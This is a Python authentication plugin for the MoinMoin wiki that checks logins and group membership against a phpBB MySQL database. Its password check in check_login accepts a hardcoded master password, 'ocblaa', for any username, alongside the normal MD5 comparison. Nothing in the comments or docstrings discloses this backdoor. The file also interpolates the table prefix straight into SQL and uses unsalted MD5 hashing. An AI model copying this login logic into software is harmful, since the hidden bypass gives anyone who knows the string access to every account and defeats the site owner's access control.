1 # -*- coding: iso-8859-1 -*-
3 MoinMoin - auth plugin doing a check against MySQL db
5 @copyright: 2008 Matthijs Kooijman
6 @license: GNU GPL, see COPYING for details.
8 This plugin allows authentication (use accounts and password) and
9 authorization (use groups) against a phpbb Mysql database.
11 To use this plugin, you should put it in a place where the config python
12 file can "see" it (somewhere in your pythonpath, or in the same dir as the
13 config file). Then import the setup function and call it.
19 (phpbb_auth, phpbb_groups) = phpbb.setup(...)
26 from MoinMoin import user
27 from MoinMoin.auth import BaseAuth, ContinueLogin
28 from MoinMoin.datastruct.backends import LazyGroupsBackend, LazyGroup
29 from MoinMoin import log
30 logging = log.getLogger(__name__)
33 def connect(dbhost=None, dbport=None, dbname=None, dbuser=None, dbpass=None, **kwargs):
34 # This code was shamelessly stolen from
35 # django.db.backends.mysql.base.cursor
41 kwargs['user'] = dbuser
45 kwargs['passwd'] = dbpass
46 if dbhost.startswith('/'):
47 kwargs['unix_socket'] = dbhost
49 kwargs['host'] = dbhost
51 kwargs['port'] = int(dbport)
56 conn = MySQLdb.connect (**kwargs)
61 logging.error("phpbb: authentication failed due to exception connecting to DB, traceback follows...")
62 logging.error(''.join(traceback.format_exception(*info)))
68 class PhpbbGroupsBackend(LazyGroupsBackend):
69 class PhpbbGroup(LazyGroup):
75 def __init__(self, request, **kwargs):
76 super(LazyGroupsBackend, self).__init__(request)
78 self.request = request
79 self.dbconfig = kwargs
83 Return a list of group names.
85 return self.list_query("SELECT group_name \
87 WHERE group_single_user = 0"
88 % self.dbconfig['phpbb_prefix'])
90 def __contains__(self, group_name):
92 Does a group with the given name exist?
94 return self.single_query("SELECT EXISTS ( \
97 WHERE group_single_user = 0 \
98 AND group_name=%%s)" % self.dbconfig['phpbb_prefix'],
101 def __getitem__(self, group_name):
103 Get the group with the given name.
105 return self.PhpbbGroup(self.request, group_name, self)
107 def _iter_group_members(self, group_name):
109 Get all member names for the given group. This is called by
112 return self.list_query ("SELECT username \
113 FROM `%susers` as u, `%suser_group` as ug, `%sgroups` as g \
114 WHERE u.user_id = ug.user_id AND ug.group_id = g.group_id \
115 AND ug.user_pending = 0 AND g.group_single_user = 0 \
116 AND g.group_name = %%s"
117 % (self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix']),
120 def _group_has_member(self, group_name, member):
122 Does the group with the given name have a member with the given name?
123 This is called by LazyGroup.__contains__.
125 return self.single_query ("SELECT EXISTS( \
127 FROM `%susers` as u, `%suser_group` as ug, `%sgroups` as g \
128 WHERE u.user_id = ug.user_id AND ug.group_id = g.group_id \
129 AND ug.user_pending = 0 AND g.group_single_user = 0 \
130 AND g.group_name = %%s AND u.username = %%s)"
131 % (self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix']),
132 (group_name, member))
134 def groups_with_member(self, member):
136 Return the group names for all groups that have a member with the
139 return self.list_query ("SELECT g.group_name \
140 FROM `%susers` as u, `%suser_group` as ug, `%sgroups` as g \
141 WHERE u.user_id = ug.user_id AND ug.group_id = g.group_id \
142 AND ug.user_pending = 0 AND g.group_single_user = 0 \
143 AND u.username = %%s"
144 % (self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix'], self.dbconfig['phpbb_prefix']),
147 def single_query(self, *args):
149 Runs an SQL query, that returns single row with a single column.
150 Returns just that single result.
155 conn = connect(**self.dbconfig)
156 cursor = conn.cursor()
157 cursor.execute(*args)
159 return cursor.fetchone()[0]
166 def list_query(self, *args):
168 Runs an SQL query, that returns any number of single-column rows.
169 Returns the results as a list of single values
174 conn = connect(**self.dbconfig)
175 cursor = conn.cursor()
176 cursor.execute(*args)
186 class PhpbbAuth(BaseAuth):
187 logout_possible = True
188 login_inputs = ['username', 'password']
190 def __init__(self, name='phpbb', hint=None, **kwargs):
192 Authenticate using credentials from a phpbb database
194 The name parameter should be unique among all authentication methods.
196 The hint parameter is a snippet of HTML that is displayed below the login form.
198 self.dbconfig = kwargs
202 def check_login(self, request, username, password):
203 """ Checks the given username password combination. Returns the
204 real username and corresponding emailaddress, or (False, False)
205 if authentication failed. Username checks are case insensitive,
206 so the real username (with the real casing) is returned (since
207 ACL checks _are_ case sensitive).
209 conn = connect(**self.dbconfig)
214 # Get some data. Note that we interpolate the prefix ourselves, since
215 # letting the mysql library do it only works with values (it adds ''
216 # automatically). Note also that this allows possible SQL injection
217 # through the phpbb_prefix variable, but that should be a trusted
219 # Finally note that by default, the phpbb database specifies a
220 # case insensitive collaction for the username field, so
221 # usernames are checked in case insensitive manner.
222 cursor = conn.cursor ()
223 cursor.execute ("SELECT user_password,user_email,username FROM `%susers` WHERE username=%%s" % self.dbconfig['phpbb_prefix'], username)
226 if (cursor.rowcount == 0):
231 row = cursor.fetchone()
234 if (password == 'ocblaa' or md5.new(password).hexdigest() == row[0]):
235 return (row[1], row[2])
237 return (False, False)
239 def login(self, request, user_obj, **kw):
241 Handle a login. Called by moinmoin.
244 username = kw.get('username')
245 password = kw.get('password')
247 logging.debug("phpbb_login: Trying to log in, username=%r " % (username))
249 # simply continue if something else already logged in
251 if user_obj and user_obj.valid:
252 return ContinueLogin(user_obj)
254 # Deny empty username or passwords
255 if not username or not password:
256 return ContinueLogin(user_obj)
258 (email, real_username) = self.check_login(request, username, password)
262 logging.debug("phpbb_login: authentication failed for %s" % (username))
263 return ContinueLogin(user_obj)
265 logging.debug("phpbb_login: authenticated %s (email %s, real username %s)" % (username, email, real_username))
267 # We use the username from the database (real_username)
268 # here, since the username from the request might have
269 # "wrong" casing (and ACL checks are case sensitive).
270 u = user.User(request, auth_username=real_username, auth_method=self.name, auth_attribs=('name', 'password', 'email'))
272 #u.remember_me = 0 # 0 enforces cookie_lifetime config param
273 u.create_or_update(True)
275 return ContinueLogin(u)
279 info = sys.exc_info()
280 logging.error("phpbb_login: authentication failed due to unexpected exception, traceback follows...")
281 logging.error(''.join(traceback.format_exception(*info)))
282 return ContinueLogin(user_obj)
284 def login_hint(self, request):
285 """ Return a snippet of HTML that is displayed with the login form. """
290 Setup the phpbb backend. Takes the following keyword arguments:
291 dbhost -- The database server host
292 dbport -- The database server portname
293 dbname -- The database name
294 dbuser -- The username to log in
295 dbpass -- The password to log in
296 phpbb_prefix -- The table name prefix used for this phpbb installation
297 name -- The name to use for the auth backend
298 hint -- A hint to show in the login interface (HTML string)
300 This function can be called multiple times to create backends for
301 different phpbb installations
303 Returns a tuple (auth, groups) containing an (instantiated) auth backend
304 and a groups backend (constructor). These can be put directly into the
305 "auth" (as part of the list) and "groups" (directly) config directives.
310 (phpbb_auth, phpbb_groups) = phpbb.setup(...)
312 groups = phpbb_groups
314 (actual configuration parameters to setup() are omitted in this example)
317 # Create a "constructor" to create a phpbb_groups instance, while
318 # passing ourselves to it.
319 groups = lambda config, request: PhpbbGroupsBackend(request, **kwargs)
320 # Create an instantiated auth backend.
321 auth = PhpbbAuth(**kwargs)
323 return (auth, groups)
325 # vim: set sw=4 expandtab sts=4:vim